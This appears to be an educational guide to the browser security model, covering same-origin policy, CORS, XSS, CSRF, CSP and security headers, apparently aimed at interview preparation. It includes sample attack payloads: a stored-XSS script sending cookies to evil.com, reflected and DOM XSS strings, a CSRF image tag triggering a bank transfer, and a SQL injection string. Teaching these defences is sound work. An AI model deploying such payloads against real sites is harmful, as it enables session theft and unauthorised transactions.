DNA🌐 Web BrowserBrowser Security Model
🦖DinosaurBrowserSecurityArchitecture

Browser Security Model

Same-origin policy, CORS, CSP, XSS, CSRF — the browser's security model is the foundation every web application is built on. Ignorance here means vulnerabilities.

Browser Security Model

The browser is the most hostile runtime environment in computing. Code from dozens of origins runs in the same process, users click unknown links, and extensions inject scripts into every page. The browser's security model exists to prevent this chaos from becoming exploitation.

The Same-Origin Policy

The foundational security model of the web. An origin is defined by three parts:

https://  app.example.com  :443
scheme    hostname           port
 
Different origins:
  https://app.example.com    vs  http://app.example.com     (different scheme)
  https://app.example.com    vs  https://api.example.com    (different hostname)
  https://app.example.com    vs  https://app.example.com:8080 (different port)

What Same-Origin Policy Restricts

ActionSame OriginCross Origin
Read DOM via JSAllowedBlocked
Read cookiesAllowedBlocked (scope rules apply)
XHR/Fetch responseAllowedBlocked (unless CORS headers)
Embed imagesAllowedAllowed (but can't read pixels)
Embed scriptsAllowedAllowed (but can't read source)
Embed iframesAllowedAllowed (but can't access content)
Form submissionsAllowedAllowed (but can't read response)

The Key Insight

The browser blocks reading cross-origin responses, not sending requests. A cross-origin fetch request is sent — the server processes it — but the browser prevents JavaScript from reading the response. This is why CSRF is possible (the request is sent) and why CORS is needed (to allow reading the response).

Cross-Origin Resource Sharing (CORS)

CORS is the controlled exception to same-origin policy. The server tells the browser: "This origin is allowed to read my responses."

Simple vs Preflighted Requests

Simple Request (no preflight):
  - GET, HEAD, or POST
  - Only "safe" headers (Accept, Content-Language, Content-Type)
  - Content-Type: text/plain, multipart/form-data, or application/x-www-form-urlencoded
 
Everything else triggers a preflight:
  - PUT, DELETE, PATCH methods
  - Custom headers (Authorization, X-Custom)
  - Content-Type: application/json

Preflight Flow

Browser                                Server
  │                                      │
  │──── OPTIONS /api/data ──────────────→│
  │     Origin: https://app.example.com  │
  │     Access-Control-Request-Method: PUT│
  │     Access-Control-Request-Headers:   │
  │       Content-Type, Authorization    │
  │                                      │
  │←──── 204 No Content ────────────────│
  │      Access-Control-Allow-Origin:    │
  │        https://app.example.com       │
  │      Access-Control-Allow-Methods:   │
  │        GET, PUT, POST, DELETE        │
  │      Access-Control-Allow-Headers:   │
  │        Content-Type, Authorization   │
  │      Access-Control-Max-Age: 86400   │
  │                                      │
  │──── PUT /api/data ──────────────────→│  (actual request)
  │     Authorization: Bearer token      │
  │                                      │
  │←──── 200 OK ────────────────────────│

Credentials and CORS

// Sending cookies cross-origin requires both sides to opt in
 
// Client:
fetch('https://api.example.com/data', {
  credentials: 'include'  // Send cookies
});
 
// Server must respond with:
// Access-Control-Allow-Origin: https://app.example.com  (NOT *)
// Access-Control-Allow-Credentials: true

Access-Control-Allow-Origin: * cannot be used with credentials: 'include'. The server must specify the exact origin.

Cross-Site Scripting (XSS)

XSS is injecting malicious JavaScript into a page. Three flavors:

Stored XSS

The payload is persisted (in a database) and served to other users:

Attacker posts comment: <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
Database stores it as-is
Victim loads page → script executes → cookies stolen

Reflected XSS

The payload is in the URL and reflected in the response:

https://app.com/search?q=<script>alert('xss')</script>
 
Server renders: "Results for <script>alert('xss')</script>"

DOM-Based XSS

The payload is processed entirely by client-side JavaScript:

// Vulnerable code
const query = new URLSearchParams(location.search).get('q');
document.getElementById('results').innerHTML = query; // XSS!
 
// Attacker URL: https://app.com?q=<img src=x onerror="alert('xss')">

XSS Prevention

// 1. Use textContent, not innerHTML
element.textContent = userInput;  // Safe — treated as text
element.innerHTML = userInput;    // DANGEROUS — parsed as HTML
 
// 2. Sanitize when HTML is needed
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);
 
// 3. React auto-escapes (but dangerouslySetInnerHTML doesn't)
<div>{userInput}</div>                          // Safe
<div dangerouslySetInnerHTML={{ __html: userInput }} />  // Dangerous
 
// 4. Validate URLs
const isValidUrl = (url) => {
  try {
    const parsed = new URL(url);
    return ['http:', 'https:'].includes(parsed.protocol);
  } catch {
    return false;
  }
};

Cross-Site Request Forgery (CSRF)

CSRF tricks the user's browser into making requests to a site where they're authenticated:

<!-- On evil.com -->
<img src="https://bank.com/transfer?to=attacker&amount=10000">
<!-- Browser sends the request WITH the user's bank.com cookies -->

CSRF Prevention

1. SameSite cookies (primary defense):
   Set-Cookie: session=abc; SameSite=Strict  → Never sent cross-origin
   Set-Cookie: session=abc; SameSite=Lax     → Sent only on navigation (GET)
 
2. CSRF tokens:
   Server generates unique token per session
   Embedded in forms/headers
   Server validates token on state-changing requests
 
3. Check Origin/Referer header:
   Server rejects requests from unexpected origins

SameSite Cookie Values

ValueBehaviorUse Case
StrictNever sent cross-originBanking, sensitive ops
LaxSent on top-level navigation (GET)Default for most cookies
NoneAlways sent (requires Secure)Third-party cookies, SSO

Content Security Policy (CSP)

CSP tells the browser which resources are allowed to load. It's the strongest defense against XSS:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-abc123';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https://cdn.example.com;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';

Key Directives

DirectiveControlsExample
default-srcFallback for all resource types'self'
script-srcJavaScript sources'self' 'nonce-abc'
style-srcCSS sources'self' 'unsafe-inline'
img-srcImage sources'self' data: https:
connect-srcXHR/Fetch/WebSocket targets'self' https://api.example.com
frame-ancestorsWho can embed this page'none' (prevents clickjacking)

Nonce-Based CSP (Recommended)

<!-- Server generates unique nonce per request -->
<script nonce="abc123">
  // Only scripts with matching nonce execute
</script>
 
<!-- Injected script without nonce is blocked -->
<script>alert('xss')</script>  <!-- Blocked by CSP! -->

Subresource Integrity (SRI)

Ensures CDN-hosted scripts haven't been tampered with:

<script
  src="https://cdn.example.com/lib.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"
  crossorigin="anonymous"
></script>

If the file's hash doesn't match, the browser refuses to execute it.

Clickjacking Protection

X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none';

Prevents your page from being embedded in an iframe on another site (where clicks could be intercepted).

Other Attack Vectors

SQL Injection

SQL injection targets the server, not the browser, but frontend engineers must understand it because they build the forms and API calls that carry user input:

// Vulnerable server code
const query = `SELECT * FROM users WHERE name = '${userInput}'`;
 
// Attacker input: ' OR '1'='1
// Resulting query: SELECT * FROM users WHERE name = '' OR '1'='1'
// Returns ALL users

Frontend role in prevention:

  • Never build SQL on the client (obvious but worth stating)
  • Validate and sanitize inputs before sending to the server
  • Use parameterized queries / prepared statements on the server
  • Treat the frontend as untrusted — server must re-validate everything

Distributed Denial of Service (DDoS)

DDoS floods a server/network with traffic to make it unavailable. Frontend engineers encounter this through:

  • Rate limiting — Implement client-side throttling on form submissions and API calls
  • CAPTCHA — Gate high-cost operations (signup, search, export)
  • CDN protection — Serve static assets from CDNs like Cloudflare that absorb DDoS traffic
  • Graceful degradation — Show cached content or friendly error pages when the API is down

Man-in-the-Middle (MitM) Attacks

An attacker intercepts communication between client and server:

Client ←──→ Attacker ←──→ Server
             (reads/modifies traffic)

Prevention:

  • HTTPS everywhere — Encrypts traffic so interceptors can't read it
  • HSTS — Forces HTTPS, prevents SSL stripping attacks
  • Certificate pinning — Mobile apps can pin expected certificates (not for web)
  • SRI — Ensures CDN scripts haven't been tampered with

HTTPS and Mixed Content

HTTPS page loading HTTP resource → "Mixed Content"
 
Active mixed content (scripts, stylesheets, iframes):
  → Blocked by all modern browsers
 
Passive mixed content (images, videos, audio):
  → Warning, may be blocked

Security Headers Checklist

# Prevent XSS
Content-Security-Policy: default-src 'self'; script-src 'self'
 
# Prevent clickjacking
X-Frame-Options: DENY
 
# Prevent MIME-type sniffing
X-Content-Type-Options: nosniff
 
# Force HTTPS
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
 
# Control referrer information
Referrer-Policy: strict-origin-when-cross-origin
 
# Restrict browser features
Permissions-Policy: camera=(), microphone=(), geolocation=()

Interview Signal

Senior candidates demonstrate:

  1. Same-origin understanding — What it restricts, why requests are sent but responses blocked
  2. Attack vector knowledge — XSS flavors, CSRF mechanics, SQL injection, DDoS, MitM — how each is prevented
  3. Defense in depth — CSP + SameSite + sanitization + CSRF tokens + HTTPS (multiple layers)
  4. Cookie security — HttpOnly, Secure, SameSite, and why each attribute matters
  5. Practical implementation — CSP with nonces, SRI for CDN scripts, security headers checklist